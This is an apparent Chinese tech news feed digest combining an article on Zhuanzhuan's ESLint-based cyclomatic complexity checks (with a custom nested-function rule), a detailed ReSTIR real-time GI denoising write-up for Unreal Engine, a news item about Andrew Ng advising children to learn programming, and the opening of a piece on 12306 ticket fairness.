转转前端圈复杂度检测方式

指标分数计算方式

当前转转前端质量体系内的圈复杂度,是根据公司内所有前端项目进行了相应数据统计后评定得出,我们并没有直接按照业内最佳数值进行代码检测,因为我们需要考虑到目前所有项目的平均水平、代码修改的成本等问题,所以经过多次数据统计后,我们制定了如下的检测计算方式:

圈复杂度得分 = ( 单函数圈复杂度评分 + 嵌套函数圈复杂度评分 ) / 2

这里可以看到,我们将圈复杂度分为了两个维度,分别是“单函数圈复杂度”和“嵌套函数圈复杂度”,之所以这样做的原因大家可以继续往下看,目前我们会将两个维度的圈复杂度检测结果取平均,最终得出相应分数,用来判定当前项目的圈复杂度得分。

其次就是可以发现我们的两个维度都与“函数”相关,为什么最终选择以函数为最小维度进行检测,主要原因就是需要考虑大家的改造成本,切合上面的“节点判定法”,函数改造相对来说是最容易的。

单函数圈复杂度的评分,经过评定后我们分别使用15、20、30为一个单函数圈复杂度计算的阈值,当函数的圈复杂度高于这三个值的时候,分别会去扣除相应的分数

单函数圈复杂度扣分情况
[0, 15]达标
(15, 20]-1
(20, 30]-2
> 30-4

嵌套函数圈复杂度的评分,因为其特殊性(大家可以往下看它具体的实现方式),它的评分规则是与整体的嵌套函数的行数相关,我们将函数的行数按照100为一档,每一档制定了相应的圈复杂度阈值,当超出阈值的时候会进行扣分,大概方式如下

嵌套函数总行数嵌套函数圈复杂度扣分阈值扣分情况
[0, 100]25-1
(100, 200]35-1
(200, 300]54-1
………………

下面为大家分别介绍两个圈复杂度的检测方式:

单函数圈复杂度检测实现方式

在单函数的圈复杂度计算方面,因为其计算方式和业内圈复杂度计算方式相同,所以我们可以采用很多成熟的方案,其中比较典型的有下面几种检测方式:

ESLint - complexity(当前方案)

ESLint 的圈复杂度检测通常是针对函数级别的。ESLint提供了规则来检测每个函数的复杂度,并根据函数中的条件、循环等因素计算圈复杂度。

为什么选择 Eslint

  • 接入成本低
  • 检测速度快
  • 本地修改便捷
  • 函数维度检测,修改成本低,比较容易接受
SonarQube

SonarQube 是一个用于代码质量管理的开源平台,旨在帮助开发团队通过静态代码分析、代码度量和代码检查来提高代码质量

SonarQube 在代码复杂度分析方面更倾向于全局视角,它可以对整个文件或项目进行代码质量分析,包括圈复杂度在内的多个指标。它提供了全局性的代码复杂度概览,帮助开发团队了解整个代码库的质量状况,通过综合考虑代码库中的所有函数、模块和文件,可以提供更全面的代码复杂度分析。

Sonar 的优点

  • 有比较优秀的图形界面
  • 查询能力强大,空指针、内存泄漏、漏洞等等

为什么不选择 SonarQube

  • 单纯讨论圈复杂度,它最小只能做到文件维度的检测。
  • 分析报告并不能直接指出比文件纬度更细的数据,不利于修改
  • 不能很好的利用 sonarQube 后台系统,推动所有人转到 Sonar 平台有一定的阻力
TyphonJS-ESComplex

TyphonJS-ESComplex 是一个 JavaScript 库,用于计算和分析 JavaScript 代码复杂性的工具

TyphonJS-ESComplex 主要专注于 JavaScript 文件整体的复杂度分析,包括圈复杂度等指标。它提供了关于整个文件结构复杂度的详细报告,帮助您评估整个文件的复杂度水平,对于整个文件的复杂度评估能够帮助开发人员识别整体代码结构中的问题,并进行相应的优化和改进。

为什么不选择TyphonJS-ESComplex

  • 检测维度为文件维度;检测指标较多。无法准确的定义出降低整体可维护度的修改方式,推进修改较为困难
  • 检测速度较慢,多数项目会超过 2min
  • 不支持 vue,并且已经停止维护,对于后续一些新语法的支持存在风险
Eslint中如何进行圈复杂度检测

有了Eslint的能力,我们可以非常容易的进行单函数复杂度的检测,只需要在规则中进行如下配置,并且不需要安装任何额外的包:

  // [报错级别, 报错阈值]
  rules: {
    complexity: ['error', 15]
  },

需要注意的是,Eslint的检测中,是完全按照函数进行分隔,这就导致,在一些相互嵌套的函数中,它的检测结果会显得比较奇怪,比如下面的例子中,fn1计算圈复杂度的时候,只会计算自己内部的逻辑,而不会包含fn2内部和some的回调函数中内部逻辑的圈复杂度,fn2和some的回调函数又有自己的圈复杂度。

// fn1的圈复杂度不包含 some回调函数 和 fn2函数 内部逻辑
function fn1(list) {
    // fn2 单独计算圈复杂度
    const fn2 = (item) => {
        return item > 10
    }
    // some 回调函数单独计算圈复杂度
    const hasGreater = list.some(item => {
        return fn2(item)
    })
    if (hasGreater) {
        return 10
    }
}

嵌套函数圈复杂度实现方式

为什么需要嵌套函数圈复杂度

在上面的圈复杂度实现中,我们以函数为维度进行了相关检测,从而导致一个问题,大家可以非常快速的进行一些函数拆分,从而达到降低圈复杂度的目的,但这样的操作与我们的预期并不相符,我们是想要通过圈复杂度检测的方式让大家提升部分代码的可读性、可维护性。

所以我们在eslint圈复杂度检测的基础上,开发了新的检测规则 —— 嵌套函数圈复杂度检测。

在这套基础上,我们将嵌套整体圈复杂度和行数关联,进行错误评判,因为每一个函数的嵌套层级是不定的,所以它所对应的代码量也是不定的,我们不能硬性的规定每一个函数所对应的圈复杂度阈值。

嵌套函数复杂度的检测逻辑

嵌套函数复杂度,顾名思义,我们会检测函数内所“包含”和“调用”的子函数,子函数内会继续检测他的嵌套函数,将所涉及到的函数圈复杂度相加,从而得到一个函数本身和它的所有嵌套函数的圈复杂度之和,这个和就是这个函数的嵌套函数复杂度。

实现技术选择

因为我们“单函数圈复杂度”选取的检测能力为 eslint 的 complexity 规则,所以我兜底检测的情况应该是在此基础上进行嵌套函数之间的“单函数圈复杂度”累加。所以应该如何实现我们的目的?

eslint检测原理

原则上来说,只要我们有特定规则并且能够针对所有代码进行规则分析,那么我们就可以实现这个需求。

要做的其实是代码解析,前端对于代码解析和分析处理离不开 AST,我们也需要去借助 AST 的解析能力。之后是实用性,必须能够让大家本地进行检测。

所以最后我们选择开发一个 eslint 自定义规则,这样做的好处主要是,与单函数圈复杂度技术依赖相同,本地检测成本、接入成本低。

实现细节

嵌套函数复杂度计算流程:

计算方式

eslint自定义规则实现:

因为我们的背景是以函数为维度进行,我们的出口可以是函数节点,但是与eslint圈复杂度规则不同的是,我们需要去深度遍历函数节点内的所有子函数和函数调用,并且对子函数本身我们需要去执行相同的逻辑,实际上整套逻辑是一个递归计算。

所以我们不能直接通过create输入我们的判定节点,而是需要在函数节点内进行AST深度遍历自己进行节点断定,其中整个规则的入口,应该是对应的函数,所以规则中create方法返回值是这样的:

return {
      "FunctionDeclaration:exit": function onCodePathEnd(node) {
        const functionName = astUtils.getFunctionNameWithKind(node);
        computedComplexity(node, functionName);
      },
      "FunctionExpression:exit": function onCodePathEnd(node) {
        const functionName = astUtils.getFunctionNameWithKind(node);
        computedComplexity(node, functionName);
      },
      "ArrowFunctionExpression:exit": function onCodePathEnd(node) {
        const functionName = astUtils.getFunctionNameWithKind(node);
        computedComplexity(node, functionName);
      }
    };

判定节点管理

我们遍历整个函数的目的,是为了找到其中的判定节点,在AST中,对应的判定节点有这些:

// 所有需要增加圈复杂度的节点
const complexityTagType = [
  "IfStatement", // if
  "CatchClause", // 表示catch语句
  "ConditionalExpression", // 表示条件运算符(三元)
  "LogicalExpression", // 表示逻辑运算符(&&,||,!)
  "ForStatement", // for
  "ForInStatement",
  "ForOfStatement",
  "WhileStatement", // while
  "DoWhileStatement",
  "SwitchCase[test]" // switch
];

子函数查找:

因为我们是以主函数为入口检测,当我们寻找到子函数的注册、调用之后,子函数本身并不一定在父函数内,所以我们需要在程序context内寻找子函数,从而执行子函数的圈复杂度计算,进行累加:

if ((statement.type === "ExpressionStatement" && statement.expression.type === "CallExpression") || statement.type === "CallExpression") {
  const calleeName = statement.callee?.name || statement.expression?.callee?.name || statement.expression?.callee?.property?.name;
  if (calleeName) {
    const functionNode = findFunctionDeclaration(context.getSourceCode().ast, calleeName);
    if (functionNode && !processedFunctions.has(functionNode)) {
      processedFunctions.add(functionNode);
      const result = calculateComplexity(functionNode);
      complexity += result.complexity;
      totalLines += result.totalLines;
    }
  }
}

其中,findFunctionDeclaration 方法会去递归查找整个文件的AST树,找到当前子函数对应的Node节点,从而计算它自身的圈复杂度:

// 在 AST 中查找函数声明节点
function findFunctionDeclaration(ast, functionName) {
  let functionNode = null;

  function traverse(node) {
    if (!isNode(node)) {
      return;
    }
    const keys = getVisitorKeys(node);
    if (keys.length >= 1) {
      for (let i = 0; i < keys.length; ++i) {
        const child = node[keys[i]];
        if (Array.isArray(child)) {
          // 递归寻找节点
        } else {
          // 判定函数节点
          const _statement = child;
          if (_statement) {
            if ((_statement.type === "FunctionDeclaration" || _statement.type === "FunctionExpression" || _statement.type === "ArrowFunctionExpression") && (_statement.name || _statement.id?.name) === functionName) {
              functionNode = _statement;
            } else if (_statement.type === "VariableDeclaration") {
              _statement.declarations.forEach(function(declaration) {
                if (declaration.init && (declaration.init.type === "FunctionExpression" || declaration.init.type === "ArrowFunctionExpression") && (declaration.id.name || declaration.name) === functionName) {
                  functionNode = declaration.init;
                }
              });
            } else if (_statement.type === 'MethodDefinition' && _statement.key && _statement.key.name === functionName) {
                functionNode = _statement.value
            }
          }
          traverse(child, node);
        }
      }
    }
  }

  traverse(ast);
  return functionNode;
}

而在主函数或者子函数的复杂度计算中,我们需要遍历它的每一个AST节点,然后判断他是判定节点还是函数节点。

AST节点深度遍历:

为什么需要深度遍历?

因为我们一行简单的代码转换成AST对应的不只是一层,AST 其实就是树,但是每一个AST所对应的节点类型和子节点都不同,所以我们需要准确的找到每一个节点它的子节点和属性,这里使用最简单的方法,我们对每一个类型的节点所需要遍历的子节点名称进行管理,在遍历过程中,根据节点不同,对于子节点的寻找规则也不同,例如:

  {
    "AssignmentExpression": [
        "left",
        "right"
    ],
    "AssignmentPattern": [
        "left",
        "right"
    ],
    "ArrayExpression": [
        "elements"
    ],
    "ArrayPattern": [
        "elements"
    ],
    "ArrowFunctionExpression": [
        "params",
        "body"
    ],
    "AwaitExpression": [
        "argument"
    ],
    "BlockStatement": [
        "body"
    ],
    "BinaryExpression": [
        "left",
        "right"
    ],
    "BreakStatement": [
        "label"
    ]
    // ……
    // ……
}
使用方式

我们将上面的代码封装为了Eslint的自定义规则,使用时将我们的包进行安装后,就可以进行相应的嵌套函数圈复杂度的检测。

总结

经过上面两个维度圈复杂度的检测,我们将这个规则集成在了我们的质量检测系统,这是一套有转转独特规则的检测指标,因为其面向群体也是转转内的所有前端开发同学,并且会强制进行相应的代码评判。

而大家在对自己的代码进行圈复杂度优化的时候,可以直接使用Eslint内集成的单函数圈复杂度规则,只需要把控自身函数拆分的频率,多从代码写法角度进行优化,就可以达到很好的优化效果。

参考文献

baike.baidu.com/item/%E5%9C…

juejin.cn/post/684490…

by 转转技术团队 at January 23, 2025 02:40 AM

juejin career

RealtimeGI 实战篇(下)|ReSTIR 时空重采样降噪管线

【USparkle专栏】如果你深怀绝技,爱“搞点研究”,乐于分享也博采众长,我们期待你的加入,让智慧的火花碰撞交织,让知识的传递生生不息!


承上启下

在上一篇文章中,我们从0到1实现了一套完整的软件光追管线。我们使用稀疏的体素来存储场景的Material信息和Radiance,体素的颜色并不直接运用到屏幕像素上,因为体素的精度仅能表达粗粒度的Lighting信息。要想获得像素级别的光照频率,我们必须从屏幕像素开始发射光线进行Final Gather。

即使距离场追踪已经足够快速了,为了满足实时这一命题,我们的预算仍然是1/4SPP(半分辨率1SPP),巧妇难为无米炊,在如此紧巴的光线预算下,基础的蒙特卡罗积分会产生巨大的BIAS,因此本篇文章的重心将放在如何从低SPP的图像重建出清晰干净的信号。

一、初始样本生成

在开始编写降噪器之前,我们要为降噪器提供初始样本作为输入信号,我们执行最普通的蒙特卡洛采样即可。为了获得像素级别的细节,同时避免了体素追踪的自遮挡现象,我们需要先从屏幕空间利用Depth Buffer进行追踪。对于屏幕追踪失败的像素我们才回退到距离场追踪。

1.1 Mini G-Buffer
我们的光线追踪发生在1/4分辨率下1SPP,和SSAO类似,在开始追踪之前我们也要先对G-Buffer进行降采样。我们沿用SSAO的代码,根据深度加权计算法线的平均值到RGB通道,同时将深度一起存储到A通道。在后续的Pass中我们一次采样就可以获得采样点的法线和世界坐标。

1.2 屏幕空间追踪
在UE引擎中已经实现了基于HZB的射线追踪,并且网上也有很多相应的教程,这里笔者就不重复了。对于屏幕追踪,我们将命中点重投影回上一帧,从上一帧的Scene Color中获取Hit Radiance。

我们重点关注如何组合屏幕追踪与距离场追踪。我们当然可以在屏幕追踪着色器内直接进行距离场追踪,但是每个Wavefront内各个Pixel屏幕追踪的命中情况各不相同,这会产生巨大的Divergence。和上一篇文章中的Voxel Lighting部分类似,对于屏幕追踪失败的像素,我们单独将它们挑选出来排列到紧凑的Buffer中单独进行距离场追踪。

我们将屏幕分为8x8的Tile并配套一个线程组,每个Tile内的每个像素分配一个线程进行屏幕追踪。每个线程将屏幕追踪的成功与否写入到Shared Memory,然后由第一个线程统计并负责在紧凑Buffer中开辟空间,最后各个线程将追踪失败的像素写入Buffer。

1.3 距离场追踪
距离场追踪是一个Indirect Dispatch,我们根据屏幕追踪中确认的追踪失败的像素数目来决定派遣多少组线程组。对每个像素我们从紧凑Buffer中读取其PixelCoord,然后从Mini G-Buffer中重建其世界坐标以及射线方向,根据World Normal等信息决定一个BIAS将光线的起始点偏移,最后开始距离场追踪。

有了距离场的追踪作为兜底,我们能有效地弥补Screen Trace几何信息不足的问题。不过此时的Hit Radiance还不足以直接拿来使用,这就轮到降噪器出场了。

二、ReSTIR理论知识

ReSTIR是由NVIDIA提出的先验的降噪算法,核心思路是为每个像素尽可能地保留“最优秀”的样本来降低图像的整体方差,ReSTIR先随机采样得到一堆“普通样本”,在普通样本中选出1个“最优样本”作为降噪器的输出样本。备选的普通样本数量越多,选出的最优样本就越好。

ReSTIR将每个“普通样本”的亮度作为其被选中的概率,通过重采样重要性采样(RIS)抽样方法,在普通样本中抽出“最优样本”,并无偏地估计其对蒙特卡洛抽样的贡献。本质上是从普通样本的分布(Source PDF)中,生成了符合周围环境光照的最优样本的分布(Target PDF)。

直观地理解,按照这个策略我们抽到的最优样本都是很亮的,更符合样本点周围环境光照(Target PDF)分布规律的,相当于在对光照的分布进行重要性采样。每个像素会随着光照环境的变化而改变采样策略,这减少了图像的BIAS。

选出N个普通样本意味着N次Trace,没有办法每帧进行,ReSTIR退而求其次将普通样本的采样分摊到时域进行。通过蓄水池抽样(WRS)算法渐进式地从历史样本数据流里选择最佳样本,这可以保证每像素每帧只产生一个新样本(光追一次)的预算,以匹配Realtime这个命题。

除了历史帧的样本,同一帧内周围邻居像素产生的样本也可以进行复用,本质上是重建了一条当前像素到邻居像素光线命中点的光路。有了时间和空间上的复用,我们只用每像素一条光线的代价就获得了成百上千光线的效果。

三、ReSTIR工程实践

3.1 整体流程
在笔者的实现中,蓄水池完全沿用了NVIDIA论文的实现。其中光线生成点、命中点的法线都经过了八面体映射编码,这样我们通过2张RGBA16的贴图和两张RGBA32的贴图就能存储全部的数据。

来看一下整体的管线流程。在第1小结中我们通过混合光线追踪生成了初始样本,我们会尝试用这个初始样本去更新Temporal Reservoir,再将其作为当前帧Spatial Reuse的输入,以及下一帧的Temporal Reuse的输入,这样确保Temporal Reservoir的样本都来自同一个像素具有相同的Domain。最后我们从Spatial Reservoir中根据RIS estimator的公式计算蒙特卡洛积分的结果,再加上时间空间的Filter进行最后的降噪。

可以看到整个流程还是比较简单和清晰的,基本是按部就班地按照NVIDIA论文走下来。不过其中也有一些值得注意的细节,让我们接着往下走。

3.2 时间重采样
时间重采样的第一步是要将当前像素重投影回上一帧的屏幕空间。而重投影总是存在一些计算精度误差,直接用上一帧的UV是无法准确地找到上一帧相同位置的像素。如果贸然使用重投影的UV就会产生如下的Artifact,在相机移动时尤其明显。

因此这里我们需在重投影之后多加一步像素搜寻,我们在3x3的邻居内查看每个Reservoir的光线起始位置,找到“光线起点世界坐标”与“当前像素世界坐标”差距最小的历史帧像素,以此精确地找到重投影后原汁原味的历史帧像素。

精确地找到历史帧像素之后,我们从中取出Temporal Reservoir并评估Reservoir与当前帧像素的几何相似度,以此来决定历史的有效与否。这将在相机移动时帮助我们快速更新掉已经失效的历史值,减少了鬼影与延迟。最后我们将Initial Sample产生的新样本融入进Reservoir中,并更新其RIS权重。

有了时间重采样,整个采样器的效率得到了极大地提升,但是还不足以作为最终的图像输出。采,就多敛! 时间重采样的20个样本作为启动资金,我们已经准备好在空间维度上更进一步,牵扯样本数目更多的重采样。

3.3 空间重采样
空间重采样的思路和时间重采样类似,也是将相邻像素的样本合并进当前像素的Reservoir,因为我们近邻搜索的对象是Temporal Reservoir,而每个Temporal Reservoir都是满载20个样本的,因此每次合并相当于浏览了20个样本,效率非常之高。

强烈安利一下这个视频,讲解的十分清晰易懂:
www.youtube.com/watch?v=gsZ…

我们仍然从搜索周围的像素开始。首先随机采样UV Offset拿到周围像素的Reservoir,根据当前像素的位置和法线计算两个像素之间的几何相似度,以此决定是否拒绝邻居Reservoir的合并。空间上的复用相当于重建了当前像素到邻居Reservoir样本点的光路,因此我们还需要小心地检查光路与采样点的半球可见性,以此屏蔽一些负值极值的情况,因为那种角度不可能存在对着色点有贡献的光路。

接着我们根据复用路径的几何信息计算一个Jacobian行列式,用来缩放因光路的变换而导致的立体角微元dω的(原论文称为Measurement Density)变换。笔者这里的理解是,路径的复用相当于把邻居像素x'的光照函数L(x')进行了换元,换成了用本地像素x作为自变量输入的版本L'(x),而Jacobian行列式正是用来衡量两个坐标系之间进行转换(换元)所带来的积分微元的面积变化。

一个直观的理解是,如下图所示绿色区块为2D屏幕上的积分微元dxdy大小,它的面积在坐标系发生线性变换之后相应地被拉伸了,而这个线性变换所对应的Jacobian行列式就描述了其面积的改变。

强烈安利一下这个视频,讲解的十分清晰易懂:
www.bilibili.com/video/BV1zq…

我们复用邻居像素的Lighting信息计算渲染方程的积分,自然而然地会需要计算∫ L(x) dω,而像素之间的dω并不相通,所以需要Jacobian行列式来进行缩放。

有了Jacobian行列式,我们将邻居样本的Target PDF进行缩放,然后根据邻居Reservoir的样本数目计算一个合并权重,这相当于重复Reuse了N次近邻样本,最后合并Reservoir更新蓄水池样本数目以及RIS estimator权重。这里要注意限制Jacobian的大小以避免出现Firefly现象。

因为Temporal Reservoir已经看过了20个样本,假定我们再进行8次空间重采样,此时每个Reservoir都相当于看过了20x8=160个样本,采样质量有了极大的改善。

四、时空降噪器

在时间和空间维度上对光线样本进行重采样已经得到了令人满意的结果,但是其输出并不能直接用于最终图像,我们仍然需要常规的降噪器来磨除噪点和抖动。这里笔者直接做了一个最基础的时空滤波,该部分的代码非常简单就不过多展示。

首先出场的是Temporal Filter,它和TAA的计算流程非常类似,采样当前帧像素3x3范围颜色,在YCoCg空间下计算颜色包围盒对历史帧像素的颜色进行钳制,校验像素之间的Geometry Similar决定是否进行历史混合。

紧接着是Spatial Filter,我们使用3x3的A-Trous滤波器对图像进行过滤,每一轮次Spatial Filter输入为上一轮次的Spatial Filter的输出。我们使用逐步倍增的Filter半径以覆盖更大的区域,对每个采样像素我们使用深度和法线的相似度来作为Edge Stopping Function。

在笔者的实现中通过5次3x3的A-Trous近似了18x18的高斯滤波盒,此时的结果已经足够平滑作为最终的输出了。

五、Contact Details

在第4小节中我们用了力大砖飞的Spatial Filter来压制图像的噪声,尽管我们设置了Edge Stopping Function,但由于巨大的Filter半径,在近距离或者Geometry比较高频的地方,我们丢失了非常多的细节,包括光照的方向性、间接光照投射的间接阴影等细节全部抹平了。

在本小节中,我们将利用各种手段尝试恢复一些Contact Details。即使有的方法不是基于物理正确的,但是对于提升最终的图像质量仍然有帮助。

5.1 空间滤波引导
只有深度、法线作为Edge Stopping Function,我们的Spatial Filter也没有办法分辨这些信号是单纯的噪声还是由于几何的变化引起的自然现象,因此我们需要引入额外的信息作为Guidance。这里笔者参考了Kajiya渲染器的思路,在Spatial Filter的采样权重中额外考虑中心像素与Sample像素的SSAO的数值差异。

这里SSAO的实现笔者做了一个HBAO上去。在Temporal Filter之前渲染AO,将AO值存储到Diffuse Irradiance贴图的A通道,然后用Temporal Filter进行降噪。有了Filter Guidance,我们的Spatial Filter的结果会更加锐利,GI的方向性也越强。

5.2 空间蓄水池校验
细心的读者应该注意到了,在第3小节我们实现的Spatial Resampling流程中,笔者在复用周围像素时忽略了像素彼此之间的可见性,因此Reuse的结果并非无偏。表现在画面上就是Indirect的遮蔽结果产生了漏光。

漏光的原因在腾讯HSGI中也有提到,周围邻居像素的Hit Point,对于当前像素不一定是可见的。如果贸然连接复用(相当于建立和邻居像素Sample的光路)就会丢失Occlusion信息。

和HSGI一样,我们在结束了Spatial Reuse之后,对Spatial Reservoir中仍然幸存的那一个天选之子Sample进行可见性测试。出于性能考虑,我们并不发射完整的Hybrid Ray,只在屏幕空间利用半分辨率的Depth Buffer进行简单的线性Ray March。

对于通过了Visibility Test的邻居Reservoir我们直接用RIS公式Resolve出Irradiance,否则我们回退到使用Temporal Reservoir的样本计算Irradiance。我们根据SSR Ray March命中点的距离,和邻居Sample命中点的距离计算该样本的置信度,这和DDGI中通过Depth计算Probe遮挡异曲同工。

因为在第3小节我们做了严格的重投影,因此Temporal Reservoir能够严格保证产出自同一个像素,所以得到的结果是无偏差的,这极大地缓解了间接遮挡丢失的现象。

5.3 间接阴影
虽然Spatial Reservoir Validation能够重建正确的间接遮挡,但是我们还有Spatial Filter不加任何验证地平滑一切颜色。对于一些比较细的物体比如椅子腿投下的细长的Indirect Shadow仍然会被不正确的Filter掉。

幸运的是在5.2小节我们进行了Reservoir Validation,而Spatial Reservoir样本中存储的方向代表了当前像素接受光照最强的方向。我们将5.2小节中计算出的Reservoir置信度(针对近邻像素Sample的可见性测试)直接输出并认为是Indirect Shadow的信息,它和Color一起在Temporal和Spatial Filter中接受降噪,在最终合成阶段运用在Irradiance上。

虽然不是那么物理正确,但是其带来的视觉效果却更加能凸显场景的光照变化关系。并且我们只是通过了开销极低的屏幕空间步进实现的,实践表明这是个性价比不错的路子。

六、Specular Indirect

Specular能够大大提升场景的真实感和质感,而除了RTX外主流的Specular计算方法或多或少都不那么完美。比如SSR缺少屏幕外的信息,IBL和反射球则依赖烘焙或是只支持Static的场景。对于一个完整的GI方案来说,Specular是不可不品鉴的一个环节。

6.1 总体流程
在笔者的实现中参考了寒霜引擎的方案,不得不感叹老牌劲旅确实强,差不多十年前的方案到现在都很奏效。因为笔者省略了根据粗燥度做屏幕分块Trace的部分,但是整个流程基本与原PPT一致。大致分为Initial Sample,Ray Resolve,Temporal和Spatial Filter这四个步骤。

6.2 初始样本生成
话不多说,我们仍然从本文实现的软件光追起手(即屏幕空间+距离场的光线追踪),和Diffuse不同的是我们的射线是按照GGX分布进行重要性采样。此外笔者根据寒霜PPT的分享也对BRDF进行了截断,保证在高粗糙度下大部分的光线能收束聚集到镜面反射方向周围以减少噪声,在Screen Trace命中时我们根据命中距离和Roughness从上一帧的Scene Color的Mip中获取颜色,以弥补BRDF截断带来的图像过于清晰。

6.3 Ray Resolve
紧接着我们进行Ray Resolve,从半分辨率的Initial Sample Texture生成全分辨率的Specular Indirect Texture,核心思路是全分辨率下每个像素随机地选取周围UV,根据Jittered UV从半分辨率Texture获取若干个Ray Sample,将全分辨率像素和Ray的命中点进行重新连接,根据光路的信息估算Irradiance。

对于每个全分辨率下的像素,我们通常选取4个Rray Sample进行连接,假装我们在进行4SPP的采样并且产生了4个Sample。这样我们不仅能够获得全分辨率逐像素的Roughness、Normal细节,而且全分辨率每像素4SPP相当于一条Ray我们掰成了16条来用。

值得注意的是,对于Irradiance的估计我们使用的是一个奇怪的加权平均。这在寒霜的分享中也有提到,是一种叫做Ratio Estimator的抽样方式,它的核心思路是将渲染方程中对Lighting的估计和对BRDF的估计拆分开来,对Lighting仍然使用蒙特卡洛随机抽样进行估计,对BRDF则使用有解析解(LUT)进行速查表。

BRDF我们可以通过Image Based Lighting(IBL)中的预积分BRDF图来近似计算,将其FG项单独提出来。因为我们拆散了渲染方程,为了保持结果的准确我们要在分母上同时除以一个FG项。这个FG项其实就是预积分的红绿图,在最终合成阶段我们再乘回去。

理解了数学上的原理,上文代码中权重计算的代码就呼之欲出了。其实就是一个BRDF的计算,我们根据全分辨率像素的位置作为光线起点,半分辨率的Ray Sample作为光线终点,连接一条光路并用逐像素的Normal和Roughness评估BRDF,最后加权平均。

经过复用后的图像已经初具雏形,但是仍然存在一些噪声。在此基础上我们也需要进行Temporal和Spatial的Filter来稳定最终的图像。

6.4 时空降噪
我们首先进行Temporal Filter,值得注意的是重投影时我们不再根据光线起始表面的坐标进行重投影,因为Filter的信号是倒影中的虚像,我们要针对虚像的位置进行重投影。

如果还是使用光线起始表面做重投影,我们会得到非常奇怪的历史混合。

如果使用虚像位置做重投影,可以看到虚像的拖影指示了正确的Motion。这个拖影我们在Temporal Filter中加上和TAA类似的近邻颜色包围盒对历史颜色进行钳制就能解决,这里没有开启是为了直观的体现重投影的运动方向。

事实上我们同时采用了两种不同的重投影策略。对于光滑的表面我们使用虚像位置进行重投影,对于粗糙的表面我们和Diffuse信号类似仍然使用光线起始点进行重投影,最后根据粗糙度来决定两种重投影混合的比例。

有了Temporal Filter能极大地压制噪点,现在的结果已经基本可用了。

最后我们再进行Spatial Filter进一步消除噪点和Firefly,这里的Spatial Filter和Diffuse有点不同。我们根据粗糙度来决定filter的范围,然后在范围内随机选取像素,用深度法线和UV距离衰减确定双边滤波的权重,然后累加。

代码非常简单,唯一值得注意的是我们在计算相邻像素颜色时要进行ToneMapping,在累加结果之后再反向ToneMapping回去。因为Specular波瓣形状会产生非常多的尖峰,经过ToneMapping能极大地降低结果的闪烁。我们在上文Ray Reuse Pass加权平均颜色时也用到了这个技巧。

现在的Specular结果已经准备好使用了。

别忘了我们在Ray Reuse Pass中把预积分的BRDF单独提取出来了,我们在最终合成Pass需要把它加回去,这样才是完整的渲染方程。

七、性能

我们仍然用EPIC商店的免费场景Modular Asian Medieval City为例,在半开放的室外以保证射向天空的Ray行进了足够的距离。

笔者的电脑为3060 Laptop(挣韭者),渲染分辨率为1712x1024,光线追踪分辨率为856x512,此外为了开发方便控制台变量默认开启r.Shaders.Optimize=0,没有试过Cook后的情况。

对于Diffuse流程,性能的大头主要是三块:初始样本生成时的混合光线追踪,ReSTIR 时空重采样,以及最后的空间降噪。

对于Specular流程,主要是在初始样本生成、Ray Reuse和全分辨率的时空降噪。

八、结语

多么吉列的Coding!我们终于完成了Diffuse & Specular的Gather和降噪管线!总结起来就是我们实现了一套,性能不如Lumen、效果细节不如Lumen、响应速度不如Lumen、可伸缩性不如Lumen、降噪稳定性不如Lumen、漏光控制不如Lumen、各种Shading Model、Lighting Feature的支持鲁棒性不如Lumen,总之就是不如Lumen的实时GI方案。

当笔者一路攀登以为达到了山顶,却发现Unreal大神早早就站在了山顶,并给出了完美的GI方案。这种压迫感与窒息感不禁令我想起英雄联盟s8 CG中,掌门攀登到了空无一人的山顶,却发现飞神早已恭候多时。诚然,民科笔者业余时间瞎折腾捣鼓破烂轮子,是不可能与EPIC的全职天才工程师们精雕细琢的工业明珠相提并论。正视差距,但不宜妄自菲薄,更重要的是我们一路走来从中收获学到了什么。

通过实践ReSTIR、时空降噪等算法,笔者也深刻理解了“绝知此事要躬行”的道理,真正Coding起来还是有非常多要注意的地方的。同为降噪方案,笔者认为仅对于Indirect Lighting来说,Lumen Screen Probe Gather + SS Bent Normal的策略要好于ReSTIR,相对地ReSTIR在纯光追模式下(类似离线渲染用NEE,直接+间接光拉一块a了)具有更好的表现。最后,令笔者感到意外的是,实际用下来UE引擎的图形编程体验也远非网上讨论的那般不堪,在玩熟玩溜了之后会发现这都不是事儿。

UE引擎之路道阻且长。但是踏上取经路,比抵达灵山更加重要。回头才发现最难的那一步,就是最初的第一步。路途艰辛却难掩喜悦,笔者将一路走来的所见所闻记录于此,希望与大伙进步共勉。

九、代码仓库

github.com/AKGWSB/Unre…

引擎部分的代码位:
Engine\Source\Runtime\Renderer\Private\RealtimeGI

着色器部分位于:
Engine\Shaders\Private\RealtimeGI

十、参考与引用

HSGI: Cross-Platform Hierarchical Surfel Global Illumination

ReSTIR GI: Path Resampling for Real-Time Path Tracing

kajiya renderer

渲染中的采样理论与实践

【论文翻译】ReSTIR GI: 实时路径追踪中的路径重采样

光线追踪降噪技术 2020

D5 渲染器全局光照解决方案

UE5.4 Lumen中的ReSTIR Gather

Stochastic Screen-Space Reflections


这是侑虎科技第1754篇文章,感谢作者AKG4e3供稿。欢迎转发分享,未经作者授权请勿转载。如果您有任何独到的见解或者发现也欢迎联系我们,一起探讨。(QQ群:793972859)

作者主页:www.zhihu.com/people/long…

再次感谢AKG4e3的分享,如果您有任何独到的见解或者发现也欢迎联系我们,一起探讨。(QQ群:793972859)

by 侑虎科技 at January 23, 2025 02:38 AM

oschina news industry

计算机科学家吴恩达:如果有孩子,应当让他们学编程

1月22日消息,在2025年世界经济论坛年会期间,全球人工智能领域的领军人物、计算机科学家吴恩达(Andrew Ng)出席了“数字世界:就业与任务”分论坛。

吴恩达指出,人工智能并不会取代人类的工作,相反,那些掌握人工智能技术的人将取代那些尚未掌握这一技术的人。而且如果企业为员工提供人工智能工具,他们的生产力将以一种相当显著的方式得到提升。

他认为,随着人工智能的强大功能逐渐显现,无论是当下的劳动者还是未来的新生代,精准地指挥计算机按照人们的意图行事将成为一项至关重要的技能。因为计算机能够处理的任务正与日俱增,那些能够借助计算机或人工智能完成任务的人,无疑将占据巨大的优势。

他还建议,如果有孩子,应当让他们学习编程,因为在可预见的未来,那些对技术尤其是人工智能有深刻理解的人,将能够更高效地使用计算机,无论他们最终从事何种职业。

by 来源: OSCHINA at January 23, 2025 02:34 AM

铁路 12306 回应抢票公平性

近期,「抢票软件有没有用?如何确保售票公平?」等铁路车票问题引发热议,随后,铁路 12306 于 1 月 21 日就此类问题作出解答。

有不少网友反映,铁路 12306 上抢不到票,却在一些「抢票软件」上买到了票,并声称「抢票软件」确实「手更快」

